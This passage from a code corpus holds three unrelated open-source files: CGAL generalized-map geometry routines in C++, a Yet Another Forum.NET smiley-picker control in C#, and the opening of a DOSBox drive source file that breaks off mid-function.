set_dart_attribute<0>(this->alpha<1>(d1),h0); set_dart_attribute<0>(this->alpha<0>(d1),h1); set_dart_attribute<0>(this->alpha<0,1>(d1),h1); set_dart_attribute<0>(this->alpha<1,0>(d1),h2); set_dart_attribute<0>(this->alpha<1,0,1>(d1),h2); return d1; } /** Create a quadrangle given 4 Vertex_attribute_handle. * @param h0 the first vertex handle. * @param h1 the second vertex handle. * @param h2 the third vertex handle. * @param h3 the fourth vertex handle. * Note that this function can be used only if 0-attributes are non void * @return the dart of the new quadrilateral incident to h0 and to edge h0h1. */ Dart_handle make_quadrangle(typename Attribute_handle<0>::type h0, typename Attribute_handle<0>::type h1, typename Attribute_handle<0>::type h2, typename Attribute_handle<0>::type h3) { Dart_handle d1 = this->make_combinatorial_polygon(4); set_dart_attribute<0>(d1,h0); set_dart_attribute<0>(this->alpha<1>(d1),h0); set_dart_attribute<0>(this->alpha<0>(d1),h1); set_dart_attribute<0>(this->alpha<0,1>(d1),h1); set_dart_attribute<0>(this->alpha<0,1,0>(d1),h2); set_dart_attribute<0>(this->alpha<0,1,0,1>(d1),h2); set_dart_attribute<0>(this->alpha<1,0>(d1),h3); set_dart_attribute<0>(this->alpha<1,0,1>(d1),h3); return d1; } /** Create a combinatorial tetrahedron from 4 triangles. * @param d1 a dart onto a first triangle. * @param d2 a dart onto a second triangle. * @param d3 a dart onto a third triangle. * @param d4 a dart onto a fourth triangle. * @return d1. */ Dart_handle make_combinatorial_tetrahedron(Dart_handle d1, Dart_handle d2, Dart_handle d3, Dart_handle d4) { topo_sew<2>(d1, alpha(d2, 0)); topo_sew<2>(d3, alpha(d2, 1)); topo_sew<2>(alpha(d1, 0, 1), alpha(d3, 1)); topo_sew<2>(alpha(d4, 0), alpha(d2, 0, 1)); topo_sew<2>(alpha(d4, 1), alpha(d3, 0, 1)); topo_sew<2>(alpha(d4, 0, 1), alpha(d1, 1)); return d1; } /** Test if a volume is a combinatorial tetrahedron. * @param adart an intial dart * @return true iff the volume containing adart is a combinatorial tetrahedron. */ bool is_volume_combinatorial_tetrahedron(Dart_const_handle d1) { Dart_const_handle d2 = alpha(d1, 0, 2); Dart_const_handle d3 = alpha(d2, 1, 2); Dart_const_handle d4 = alpha(d2, 0, 1, 0, 2); if ( !is_face_combinatorial_polygon(d1, 3) || !is_face_combinatorial_polygon(d2, 3) || !is_face_combinatorial_polygon(d3, 3) || !is_face_combinatorial_polygon(d4, 3) ) return false; // TODO do better with marks (?). if ( belong_to_same_cell<Self,2,1>(*this, d1, d2) || belong_to_same_cell<Self,2,1>(*this, d1, d3) || belong_to_same_cell<Self,2,1>(*this, d1, d4) || belong_to_same_cell<Self,2,1>(*this, d2, d3) || belong_to_same_cell<Self,2,1>(*this, d2, d4) || belong_to_same_cell<Self,2,1>(*this, d3, d4) ) return false; if ( alpha(d1, 0,1,2)!=alpha(d3,1) || alpha(d4, 1,2)!=alpha(d3,0,1) || alpha(d4, 0,1,2)!=alpha(d1,1) ) return false; return true; } /** Create a new combinatorial tetrahedron. * @return a new dart. */ Dart_handle make_combinatorial_tetrahedron() { Dart_handle d1 = make_combinatorial_polygon(3); Dart_handle d2 = make_combinatorial_polygon(3); Dart_handle d3 = make_combinatorial_polygon(3); Dart_handle d4 = make_combinatorial_polygon(3); return make_combinatorial_tetrahedron(d1, d2, d3, d4); } /** Create a combinatorial hexahedron from 6 quadrilaterals. * @param d1 a dart onto a first quadrilateral. * @param d2 a dart onto a second quadrilateral. * @param d3 a dart onto a third quadrilateral. * @param d4 a dart onto a fourth quadrilateral. * @param d5 a dart onto a fifth quadrilateral. * @param d6 a dart onto a sixth quadrilateral. * @return d1. */ Dart_handle make_combinatorial_hexahedron(Dart_handle d1, Dart_handle d2, Dart_handle d3, Dart_handle d4, Dart_handle d5, Dart_handle d6) { topo_sew<2>(d1, alpha(d4,1,0,1)); topo_sew<2>(alpha(d1,0,1), alpha(d6,1)); topo_sew<2>(alpha(d1,1,0,1), d2); topo_sew<2>(alpha(d1,1), d5); topo_sew<2>(d3, alpha(d2,1,0,1)); topo_sew<2>(alpha(d3,0,1,0), alpha(d6,0,1)); topo_sew<2>(alpha(d3,1,0,1), d4); topo_sew<2>(alpha(d3,1,0), alpha(d5,1,0,1)); topo_sew<2>(d6, alpha(d4,0,1,0)); topo_sew<2>(alpha(d6,1,0,1), alpha(d2,0,1)); topo_sew<2>(alpha(d5,1,0), alpha(d4,1)); topo_sew<2>(alpha(d5,0,1), alpha(d2,1)); return d1; } /** Test if a volume is a combinatorial hexahedron. * @param adart an intial dart * @return true iff the volume containing adart is a combinatorial hexahedron. */ bool is_volume_combinatorial_hexahedron(Dart_const_handle d1) { Dart_const_handle d2 = alpha(d1,1,0,1,2); Dart_const_handle d3 = alpha(d2,1,0,1,2); Dart_const_handle d4 = alpha(d3,1,0,1,2); Dart_const_handle d5 = alpha(d1,1,2); Dart_const_handle d6 = alpha(d4,0,1,0,2); if (!is_face_combinatorial_polygon(d1, 4) || !is_face_combinatorial_polygon(d2, 4) || !is_face_combinatorial_polygon(d3, 4) || !is_face_combinatorial_polygon(d4, 4) || !is_face_combinatorial_polygon(d5, 4) || !is_face_combinatorial_polygon(d6, 4) ) return false; // TODO do better with marks. if ( belong_to_same_cell<Self,2,1>(*this, d1, d2) || belong_to_same_cell<Self,2,1>(*this, d1, d3) || belong_to_same_cell<Self,2,1>(*this, d1, d4) || belong_to_same_cell<Self,2,1>(*this, d1, d5) || belong_to_same_cell<Self,2,1>(*this, d1, d6) || belong_to_same_cell<Self,2,1>(*this, d2, d3) || belong_to_same_cell<Self,2,1>(*this, d2, d4) || belong_to_same_cell<Self,2,1>(*this, d2, d5) || belong_to_same_cell<Self,2,1>(*this, d2, d6) || belong_to_same_cell<Self,2,1>(*this, d3, d4) || belong_to_same_cell<Self,2,1>(*this, d3, d5) || belong_to_same_cell<Self,2,1>(*this, d3, d6) || belong_to_same_cell<Self,2,1>(*this, d4, d5) || belong_to_same_cell<Self,2,1>(*this, d4, d6) || belong_to_same_cell<Self,2,1>(*this, d5, d6) ) return false; if ( alpha(d1,2) !=alpha(d4,1,0,1) || alpha(d1,0,1,2) !=alpha(d6,1) || alpha(d3,0,1,0,2)!=alpha(d6,0,1) || alpha(d3,1,0,2) !=alpha(d5,1,0,1) || alpha(d6,1,0,1,2)!=alpha(d2,0,1) || alpha(d5,1,0,2) !=alpha(d4,1) || alpha(d5,0,1,2) !=alpha(d2,1) ) return false; return true; } /** Create a new combinatorial hexahedron. * @return a new dart. */ Dart_handle make_combinatorial_hexahedron() { Dart_handle d1 = make_combinatorial_polygon(4); Dart_handle d2 = make_combinatorial_polygon(4); Dart_handle d3 = make_combinatorial_polygon(4); Dart_handle d4 = make_combinatorial_polygon(4); Dart_handle d5 = make_combinatorial_polygon(4); Dart_handle d6 = make_combinatorial_polygon(4); return make_combinatorial_hexahedron(d1, d2, d3, d4, d5, d6); } /** Test if an i-cell can be removed. * An i-cell can be removed if i==dimension or i==dimension-1, * or if there are at most two (i+1)-cell incident to it. * @param adart a dart of the i-cell. * @return true iff the i-cell can be removed. */ template < unsigned int i > bool is_removable(Dart_const_handle adart) const { return CGAL::Is_removable_functor_gmap<Self, i>::run(*this, adart); } /** Remove an i-cell, 0<=i<=dimension. * @param adart a dart of the i-cell to remove. * @param update_attributes a boolean to update the enabled attributes * @return the number of deleted darts. */ template < unsigned int i > size_t remove_cell(Dart_handle adart, bool update_attributes = true) { return CGAL::Remove_cell_functor_gmap<Self,i,Self::dimension-i>:: run(*this,adart,update_attributes); } /** Test if an i-cell can be contracted. * An i-cell can be contracted if i==1 * or if there are at most two (i-1)-cell incident to it. * @param adart a dart of the i-cell. * @return true iff the i-cell can be contracted. */ template < unsigned int i > bool is_contractible(Dart_const_handle adart) const { return CGAL::Is_contractible_functor_gmap<Self, i>::run(*this,adart); } /** Contract an i-cell, 1<=i<=dimension. * @param adart a dart of the i-cell to remove. * @return the number of deleted darts. */ template < unsigned int i > size_t contract_cell(Dart_handle adart, bool update_attributes = true) { return CGAL::Contract_cell_functor_gmap<Self,i>:: run(*this, adart, update_attributes); } /** Insert a vertex in a given edge. * @param adart a dart of the edge (!=NULL). * @return a dart of the new vertex. */ Dart_handle insert_cell_0_in_cell_1( Dart_handle adart, typename Attribute_handle<0>::type ah=null_handle, bool update_attributes=true ) { Dart_handle d1; size_type amark=get_new_mark(); // 1) We store all the darts of the edge. std::deque<Dart_handle> vect; size_type m=get_new_mark(); { for ( typename Dart_of_cell_basic_range<1>::iterator it=darts_of_cell_basic<1>(adart, m).begin(); it != darts_of_cell_basic<1>(adart, m).end(); ++it ) vect.push_back(it); } // 2) For each dart of the cell, we modify link of neighbors. typename std::deque<Dart_handle>::iterator it = vect.begin(); for (; it != vect.end(); ++it) { d1 = create_dart(); if (!(this->template is_free<0>(*it)) && is_marked(alpha<0>(*it), amark)) basic_link_alpha<1>(d1, alpha<0,0>(*it)); basic_link_alpha<0>(*it, d1); mark(*it, amark); for ( unsigned int dim=2; dim<=dimension; ++dim ) { if (!is_free(*it, dim) && is_marked(alpha(*it, dim), amark)) { basic_link_alpha(alpha(*it, dim, 0), d1, dim); } } if (are_attributes_automatically_managed() && update_attributes) { // We copy all the attributes except for dim=0 Helper::template Foreach_enabled_attributes_except <CGAL::internal::GMap_group_attribute_functor_of_dart<Self>, 0>:: run(*this,*it,d1); } if (ah != null_handle) { // We initialise the 0-atttrib to ah CGAL::internal::Set_i_attribute_of_dart_functor<Self, 0>:: run(*this, d1, ah); mark(*it, amark); } } for (it = vect.begin(); it != vect.end(); ++it) { unmark(*it, m); unmark(*it, amark); } CGAL_assertion(is_whole_map_unmarked(m)); CGAL_assertion(is_whole_map_unmarked(amark)); free_mark(m); free_mark(amark); if (are_attributes_automatically_managed() && update_attributes) { if ( !(this->template is_free<1>(alpha<0>(adart))) ) { CGAL::internal::GMap_degroup_attribute_functor_run<Self, 1>:: run(*this, adart, alpha<0,1>(adart)); } } #ifdef CGAL_CMAP_TEST_VALID_INSERTIONS CGAL_assertion( is_valid() ); #endif return alpha<0, 1>(adart); } /** Insert a vertex in the given 2-cell which is splitted in triangles, * once for each inital edge of the facet. * @param adart a dart of the facet to triangulate. * @return A dart incident to the new vertex. */ Dart_handle insert_cell_0_in_cell_2( Dart_handle adart, typename Attribute_handle<0>::type ah=null_handle, bool update_attributes=true ) { CGAL_assertion(adart!=null_handle); Dart_handle d1=null_handle, d2=null_handle; // Mark used to mark darts already treated. size_type treated = get_new_mark(); size_type m = get_new_mark(); size_type edge_pushed = get_new_mark(); // Stack of darts of the face std::deque<Dart_handle> vect; { for ( typename Dart_of_cell_basic_range<2>::iterator it=darts_of_cell_basic<2>(adart,m).begin(); it!=darts_of_cell_basic<2>(adart,m).end(); ++it ) vect.push_back(it); } // Stack of darts to degroup (one dart per edge of the face) std::deque<Dart_handle> todegroup; if (are_attributes_automatically_managed() && update_attributes) { for ( typename Dart_of_cell_basic_range<2,2>::iterator it=darts_of_cell_basic<2,2>(adart).begin(); it!=darts_of_cell_basic<2,2>(adart).end(); ++it ) if ( it!=adart && it!=alpha<0>(adart) && !is_marked(it, edge_pushed)) { todegroup.push_back(it); mark(it, edge_pushed); mark(this->template alpha<0>(it), edge_pushed); } } // 2) For each dart of the cell, we modify link of neighbors. typename std::deque<Dart_handle>::iterator it = vect.begin(); for (; it != vect.end(); ++it) { d1 = create_dart(); d2 = create_dart(); basic_link_alpha<0>(d1, d2); mark(*it, treated); if (!(this->template is_free<0>(*it)) && is_marked(this->template alpha<0>(*it), treated)) basic_link_alpha<1>(d2, this->template alpha<0,1,0>(*it)); if (!(this->template is_free<1>(*it)) && is_marked(this->template alpha<1>(*it), treated)) { basic_link_alpha<2>(d1, this->template alpha<1,1>(*it)); basic_link_alpha<2>(d2, this->template alpha<1,1,0>(*it)); } basic_link_alpha<1>(*it, d1); for ( unsigned int dim=3; dim<=dimension; ++dim ) { if (!is_free(*it, dim) && is_marked(alpha(*it, dim), treated)) { basic_link_alpha(alpha(*it, dim, 1), d1, dim); basic_link_alpha(alpha(*it, dim, 1, 0), d2, dim); } } if (are_attributes_automatically_managed() && update_attributes) { // We copy all the attributes except for dim=1 Helper::template Foreach_enabled_attributes_except <CGAL::internal::GMap_group_attribute_functor_of_dart<Self>, 1>:: run(*this,*it,d1); Helper::template Foreach_enabled_attributes_except <CGAL::internal::GMap_group_attribute_functor_of_dart<Self>, 0>:: run(*this,d1,d2); // We initialise the 0-atttrib to ah CGAL::internal::Set_i_attribute_of_dart_functor<Self, 0>:: run(*this, d2, ah); } } for (it = vect.begin(); it != vect.end(); ++it) { unmark(*it, m); unmark(*it, treated); unmark(*it, edge_pushed); } CGAL_assertion(is_whole_map_unmarked(m)); CGAL_assertion(is_whole_map_unmarked(treated)); CGAL_assertion(is_whole_map_unmarked(edge_pushed)); free_mark(m); free_mark(treated); free_mark(edge_pushed); if (are_attributes_automatically_managed() && update_attributes) { for (it = todegroup.begin(); it != todegroup.end(); ++it) { CGAL::internal::GMap_degroup_attribute_functor_run<Self, 2>:: run(*this, adart, *it); } } #ifdef CGAL_CMAP_TEST_VALID_INSERTIONS CGAL_assertion( is_valid() ); #endif return alpha<1,0>(adart); } /** Test if an edge can be inserted onto a 2-cell between two given darts. * @param adart1 a first dart. * @param adart2 a second dart. * @return true iff an edge can be inserted between adart1 and adart2. */ bool is_insertable_cell_1_in_cell_2(Dart_const_handle adart1, Dart_const_handle adart2) { if ( adart1==adart2 || adart1==this->template alpha<0>(adart2) ) return false; for ( CGAL::GMap_dart_const_iterator_of_orbit<Self,0,1> it(*this,adart1); it.cont(); ++it ) { if ( it==adart2 ) return true; } return false; } /** Insert an edge in a 2-cell between two given darts. * @param adart1 a first dart of the facet (!=NULL && !=null_dart_handle). * @param adart2 a second dart of the facet. If NULL insert a dangling edge. * @return a dart of the new edge, and not incident to the * same vertex than adart1. */ Dart_handle insert_cell_1_in_cell_2(Dart_handle adart1, Dart_handle adart2, bool update_attributes=true, typename Attribute_handle<0>::type ah=null_handle) { if ( adart2!=null_handle) { CGAL_assertion(is_insertable_cell_1_in_cell_2(adart1, adart2)); } /* CGAL::GMap_dart_iterator_basic_of_involution<Self,1> will contain all * alpha_i except alpha_0, alpha_1 and alpha_2, i.e. this is * <alpha_3,...,alpha_d> */ size_type m1=get_new_mark(); CGAL::GMap_dart_iterator_basic_of_involution<Self,1> it1(*this, adart1, m1); size_type m2=get_new_mark(); CGAL::GMap_dart_iterator_basic_of_involution<Self,1> it2(*this, adart2, m2); Dart_handle d1=null_handle; Dart_handle d2=null_handle; Dart_handle d3=null_handle; Dart_handle d4=null_handle; size_type treated=get_new_mark(); bool isfree1 = (this->template is_free<1>(adart1)); for ( ; it1.cont(); ++it1) { d1 = create_dart(); d2 = create_dart(); mark(it1,treated); if (!isfree1) { d3 = create_dart(); d4 = create_dart(); this->template basic_link_alpha<2>(d1, d3); this->template basic_link_alpha<2>(d2, d4); } for ( unsigned int dim=3; dim<=dimension; ++dim) { if ( !is_free(it1, dim) && is_marked(alpha(it1, dim), treated) ) { basic_link_alpha(alpha(it1, dim, 1), d1, dim); basic_link_alpha(alpha(d1, dim, 0), d2, dim); if (!isfree1) { basic_link_alpha(alpha(it1, 1, dim, 1), d3, dim); basic_link_alpha(alpha(d3, dim, 0), d4, dim); } } } if (!isfree1) { this->template link_alpha<1>(this->template alpha<1>(it1), d3); if ( adart2!=null_handle ) { CGAL_assertion (it2.cont()); this->template link_alpha<1>(this->template alpha<1>(it2), d4); } } this->template link_alpha<1>(it1, d1); if ( adart2!=null_handle ) { CGAL_assertion (it2.cont()); this->template link_alpha<1>(it2, d2); ++it2; } else { if (are_attributes_automatically_managed() && update_attributes && ah!=NULL) { internal::Set_i_attribute_of_dart_functor<Self, 0>::run(*this, d2, ah); if (!isfree1) { internal::Set_i_attribute_of_dart_functor<Self, 0>::run(*this, d4, ah); } } } // We do the link_alpha<0> after the link_alpha<1> to update the // possible attributes of d2. this->template link_alpha<0>(d1, d2); if (!isfree1) { this->template link_alpha<0>(d3, d4); } } if (are_attributes_automatically_managed() && update_attributes) { if ( !this->template is_free<2>(d1) && d2!=null_handle ) CGAL::internal::GMap_degroup_attribute_functor_run<Self, 2>:: run(*this, d1, this->template alpha<2>(d1)); } negate_mark(m1); it1.rewind(); if ( adart2!=null_handle ) { it2.rewind(); negate_mark(m2); } for (; it1.cont(); ++it1) { mark(it1,m1); unmark(it1,treated); if ( adart2!=null_handle ) { mark(it2,m2); ++it2; } } negate_mark(m1); CGAL_assertion( is_whole_map_unmarked(m1) ); CGAL_assertion( is_whole_map_unmarked(treated) ); free_mark(m1); free_mark(treated); if ( adart2!=null_handle ) { negate_mark(m2); CGAL_assertion( is_whole_map_unmarked(m2) ); } free_mark(m2); #ifdef CGAL_CMAP_TEST_VALID_INSERTIONS CGAL_assertion( is_valid() ); #endif return this->template alpha<1,0>(adart1); } /** Insert a dangling edge in a 2-cell between given by a dart. * @param adart1 a first dart of the facet (!=NULL && !=null_dart_handle). * @param update_attributes a boolean to update the enabled attributes * @return a dart of the new edge, not incident to the vertex of adart1. */ Dart_handle insert_dangling_cell_1_in_cell_2( Dart_handle adart1, typename Attribute_handle<0>:: type ah=null_handle, bool update_attributes=true ) { return insert_cell_1_in_cell_2(adart1, NULL, update_attributes, ah); } /** Test if a 2-cell can be inserted onto a given 3-cell along * a path of edges. * @param afirst iterator on the begining of the path. * @param alast iterator on the end of the path. * @return true iff a 2-cell can be inserted along the path. * the path is a sequence of dartd, one per edge * where the face will be inserted. */ template <class InputIterator> bool is_insertable_cell_2_in_cell_3(InputIterator afirst, InputIterator alast) { CGAL_assertion( dimension>= 3 ); // The path must have at least one dart. if (afirst==alast) return false; Dart_const_handle prec = null_handle; for (InputIterator it(afirst); it!=alast; ++it) { // The path must contain only non empty darts. if (*it == null_handle) return false; if (this->template is_free<0>(*it)) return false; // Two consecutive darts of the path must belong to two edges // incident to the same vertex of the same volume. if (prec!=null_handle) { // prec and *it must belong to the same vertex of the same volume if ( !CGAL::belong_to_same_cell<Self, 0, 2>(*this, prec, *it) ) return false; } prec = this->template alpha<0>(*it); } // The path must be closed. if (!CGAL::belong_to_same_cell<Self, 0, 2>(*this, prec, *afirst)) return false; return true; } /** Insert a 2-cell in a given 3-cell along a path of darts. * @param amap the used generalized map. * @param afirst iterator on the begining of the path. * @param alast iterator on the end of the path. * the path is a sequence of darts, one per edge * where the face will be inserted. * @return a dart of the new 2-cell. */ template<class InputIterator> Dart_handle insert_cell_2_in_cell_3(InputIterator afirst, InputIterator alast, bool update_attributes=true) { CGAL_assertion(is_insertable_cell_2_in_cell_3(afirst,alast)); Dart_handle prec = null_handle, d = null_handle, dd = null_handle, first = null_handle, ddd = null_handle, dddd = null_handle, it0, d0, oldb2; bool withAlpha3 = false; { for (InputIterator it(afirst); !withAlpha3 && it!=alast; ++it) { if (!this->template is_free<2>(*it)) withAlpha3 = true; } } { for (InputIterator it(afirst); it!=alast; ++it) { d = create_dart(); d0 = create_dart(); basic_link_alpha<0>(d, d0); Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>:: run(*this, d,*it); it0=alpha<0>(*it); Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>:: run(*this, d0, it0); if ( withAlpha3 ) { dd = create_dart(); d0 = create_dart(); basic_link_alpha<0>(dd, d0); basic_link_alpha<3>(d, dd); basic_link_alpha<3>(alpha<0>(d), alpha<0>(dd)); Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>:: run(*this,dd,d); Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>:: run(*this,d0, it0); } if ( prec!=null_handle ) { basic_link_alpha<1>(prec, d); if (withAlpha3) basic_link_alpha<1>(alpha<3>(prec), dd); } else first=d; if ( !this->template is_free<2>(*it) ) { oldb2=alpha<2>(*it); basic_link_alpha<2>(oldb2, dd); basic_link_alpha<2>(alpha<0>(oldb2), alpha<0>(dd)); } else oldb2=NULL; basic_link_alpha<2>(*it, d); basic_link_alpha<2>(alpha<0>(*it), alpha<0>(d)); // Make copies of the new facet for dimension >=4 for ( unsigned int dim=4; dim<=dimension; ++dim ) { if ( !is_free(*it, dim) ) { ddd = create_dart(); d0 = create_dart(); basic_link_alpha<0>(ddd, d0); basic_link_alpha(d, ddd, dim); basic_link_alpha(alpha<0>(d), d0, dim); basic_link_alpha<2>(alpha(*it, dim), ddd); basic_link_alpha<2>(alpha(*it, 0, dim), d0); Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>:: run(*this, ddd, *it); it0=alpha<0>(*it); Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>:: run(*this, d0, it0); if ( withAlpha3 ) { dddd = create_dart(); d0 = create_dart(); basic_link_alpha<0>(dddd, d0); basic_link_alpha(dd, dddd, dim); basic_link_alpha(alpha<0>(dd), d0, dim); if (oldb2!=NULL) { basic_link_alpha<2>(alpha(oldb2, dim), dddd); basic_link_alpha<2>(alpha(oldb2, 0, dim), d0); } Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>:: run(*this, dddd, *it); Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, 2>, 2>:: run(*this, d0, it0); } if ( prec!=null_handle ) { basic_link_alpha<1>(alpha(prec, dim), ddd); if (withAlpha3) basic_link_alpha<1>(alpha(prec, 3, dim), dddd); } } } prec = alpha<0>(d); } } basic_link_alpha<1>(prec, first); if ( withAlpha3 ) { basic_link_alpha<1>(alpha<3>(prec), alpha<3>(first)); } for ( unsigned int dim=4; dim<=dimension; ++dim ) { if ( !is_free(first, dim) ) { basic_link_alpha<1>(alpha(prec, dim), alpha(first, dim)); if ( withAlpha3 ) { basic_link_alpha<1>(alpha(prec, 3, dim), alpha(first, 3, dim)); } } } // Degroup the attributes if ( withAlpha3 ) { // Here we cannot use Degroup_attribute_functor_run as new darts do not // have their 3-attribute if (are_attributes_automatically_managed() && update_attributes) { CGAL::internal::GMap_degroup_attribute_functor_run<Self, 3>:: run(*this, first, alpha<3>(first)); } } #ifdef CGAL_CMAP_TEST_VALID_INSERTIONS CGAL_assertion( is_valid() ); #endif return first; } protected: /// Number of times each mark is reserved. 0 if the mark is free. mutable size_type mnb_times_reserved_marks[NB_MARKS]; /// Mask marks to know the value of unmark dart, for each index i. mutable std::bitset<NB_MARKS> mmask_marks; /// Number of used marks. mutable size_type mnb_used_marks; /// Index of each mark, in mfree_marks_stack or in mfree_marks_stack. mutable size_type mindex_marks[NB_MARKS]; /// "Stack" of free marks. mutable size_type mfree_marks_stack[NB_MARKS]; /// "Stack" of used marks. mutable size_type mused_marks_stack[NB_MARKS]; /// Number of marked darts for each used marks. mutable size_type mnb_marked_darts[NB_MARKS]; /// Automatic management of the attributes: /// true means attributes are always maintained updated during operations. bool automatic_attributes_management; /// Tuple of unary and binary functors (for all non void attributes). typename Helper::Split_functors m_onsplit_functors; typename Helper::Merge_functors m_onmerge_functors; }; template < unsigned int d_, class Items_=Generic_map_min_items, class Alloc_=CGAL_ALLOCATOR(int), class Storage_= Generalized_map_storage_1<d_, Items_, Alloc_> > class Generalized_map : public Generalized_map_base<d_, Generalized_map<d_,Items_,Alloc_, Storage_>, Items_, Alloc_, Storage_ > { public: typedef Generalized_map<d_, Items_,Alloc_, Storage_> Self; typedef Generalized_map_base<d_, Self, Items_, Alloc_, Storage_> Base; typedef typename Base::Dart_handle Dart_handle; typedef typename Base::Dart_const_handle Dart_const_handle; typedef typename Base::Alloc Alloc; typedef typename Base::Exception_no_more_available_mark Exception_no_more_available_mark; Generalized_map() : Base() {} Generalized_map(const Self & amap) : Base(amap) {} template < class Gmap > Generalized_map(const Gmap & amap) : Base(amap) {} template < class Gmap, typename Converters > Generalized_map(const Gmap & amap, const Converters& converters) : Base(amap, converters) {} template < class Gmap, typename Converters, typename DartInfoConverter > Generalized_map(const Gmap & amap, const Converters& converters, const DartInfoConverter& dartinfoconverter) : Base(amap, converters, dartinfoconverter) {} template < class Gmap, typename Converters, typename DartInfoConverter, typename PointConverter > Generalized_map(const Gmap & amap, const Converters& converters, const DartInfoConverter& dartinfoconverter, const PointConverter& pointconverter) : Base(amap, converters, dartinfoconverter, pointconverter) {} }; } // namespace CGAL #if (BOOST_GCC >= 40900) _Pragma("GCC diagnostic pop") #endif #endif // CGAL_GENERALIZED_MAP_H // // EOF //
wschreyer/PENTrack
cgal/include/CGAL/Generalized_map.h
C
gpl-2.0
163,266
/* Yet Another Forum.NET * Copyright (C) 2006-2013 Jaben Cargman * http://www.yetanotherforum.net/ * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ namespace YAF.Controls { #region Using using System; using System.Data; using System.Text; using YAF.Classes; using YAF.Classes.Data; using YAF.Core; using YAF.Core.Model; using YAF.Types; using YAF.Types.Extensions; using YAF.Types.Interfaces; using YAF.Types.Models; using YAF.Utilities; using YAF.Utils; #endregion /// <summary> /// Summary description for smileys. /// </summary> public partial class smileys : BaseUserControl { #region Constants and Fields /// <summary> /// The _dt smileys. /// </summary> protected DataTable _dtSmileys; /// <summary> /// The _onclick. /// </summary> private string _onclick; /// <summary> /// The _perrow. /// </summary> private int _perrow = 6; #endregion #region Properties /// <summary> /// Sets OnClick. /// </summary> public string OnClick { set { this._onclick = value; } } #endregion #region Methods /// <summary> /// The On PreRender event. /// </summary> /// <param name="e"> /// the Event Arguments /// </param> protected override void OnPreRender([NotNull] EventArgs e) { LoadingImage.ImageUrl = YafForumInfo.GetURLToResource("images/loader.gif"); LoadingImage.AlternateText = this.Get<ILocalization>().GetText("COMMON", "LOADING"); LoadingImage.ToolTip = this.Get<ILocalization>().GetText("COMMON", "LOADING"); LoadingText.Text = this.Get<ILocalization>().GetText("COMMON", "LOADING"); // Setup Pagination js YafContext.Current.PageElements.RegisterJsResourceInclude("paginationjs", "js/jquery.pagination.js"); YafContext.Current.PageElements.RegisterJsBlock("paginationloadjs", JavaScriptBlocks.PaginationLoadJs); base.OnPreRender(e); } /// <summary> /// The page_ load. /// </summary> /// <param name="sender"> /// The sender. /// </param> /// <param name="e"> /// The e. /// </param> protected void Page_Load([NotNull] object sender, [NotNull] EventArgs e) { this._dtSmileys = this.GetRepository<Smiley>().ListUnique(this.PageContext.PageBoardID); if (this._dtSmileys.Rows.Count == 0) { this.SmiliesPlaceholder.Visible = false; } else { this.CreateSmileys(); } } /// <summary> /// The create smileys. /// </summary> private void CreateSmileys() { var html = new StringBuilder(); html.Append("<div class=\"result\">"); html.AppendFormat("<ul class=\"SmilieList\">"); int rowPanel = 0; for (int i = 0; i < this._dtSmileys.Rows.Count; i++) { DataRow row = this._dtSmileys.Rows[i]; if (i % this._perrow == 0 && i > 0 && i < this._dtSmileys.Rows.Count) { rowPanel++; if (rowPanel == 3) { html.Append("</ul></div>"); html.Append("<div class=\"result\">"); html.Append("<ul class=\"SmilieList\">\n"); rowPanel = 0; } } string evt = string.Empty; if (this._onclick.Length > 0) { string strCode = Convert.ToString(row["Code"]).ToLower(); strCode = strCode.Replace("&", "&amp;"); strCode = strCode.Replace(">", "&gt;"); strCode = strCode.Replace("<", "&lt;"); strCode = strCode.Replace("\"", "&quot;"); strCode = strCode.Replace("\\", "\\\\"); strCode = strCode.Replace("'", "\\'"); evt = "javascript:{0}('{1} ','{3}{4}/{2}')".FormatWith( this._onclick, strCode, row["Icon"], YafForumInfo.ForumClientFileRoot, YafBoardFolders.Current.Emoticons); } else { evt = "javascript:void()"; } html.AppendFormat( "<li><a tabindex=\"999\" href=\"{2}\"><img src=\"{0}\" alt=\"{1}\" title=\"{1}\" /></a></li>\n", YafBuildLink.Smiley((string)row["Icon"]), row["Emoticon"], evt); } html.Append("</ul>"); html.Append("</div>"); this.SmileyResults.Text = html.ToString(); } #endregion } }
chiadem/YET
YetAnotherForum.NET/controls/smileys.ascx.cs
C#
gpl-2.0
5,905
/* * Copyright (C) 2002-2015 The DOSBox Team * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "dosbox.h" #include "dos_system.h" #include "drives.h" #include "setup.h" #include "mapper.h" #include "support.h" #include "../save_state.h" bool WildFileCmp(const char * file, const char * wild) { char file_name[9]; char file_ext[4]; char wild_name[9]; char wild_ext[4]; const char * find_ext; Bitu r; strcpy(file_name," "); strcpy(file_ext," "); strcpy(wild_name," "); strcpy(wild_ext," "); find_ext=strrchr(file,'.'); if (find_ext) { Bitu size=(Bitu)(find_ext-file); if (size>8) size=8; memcpy(file_name,file,size); find_ext++; memcpy(file_ext,find_ext,(strlen(find_ext)>3) ? 3 : strlen(find_ext)); } else { memcpy(file_name,file,(strlen(file) > 8) 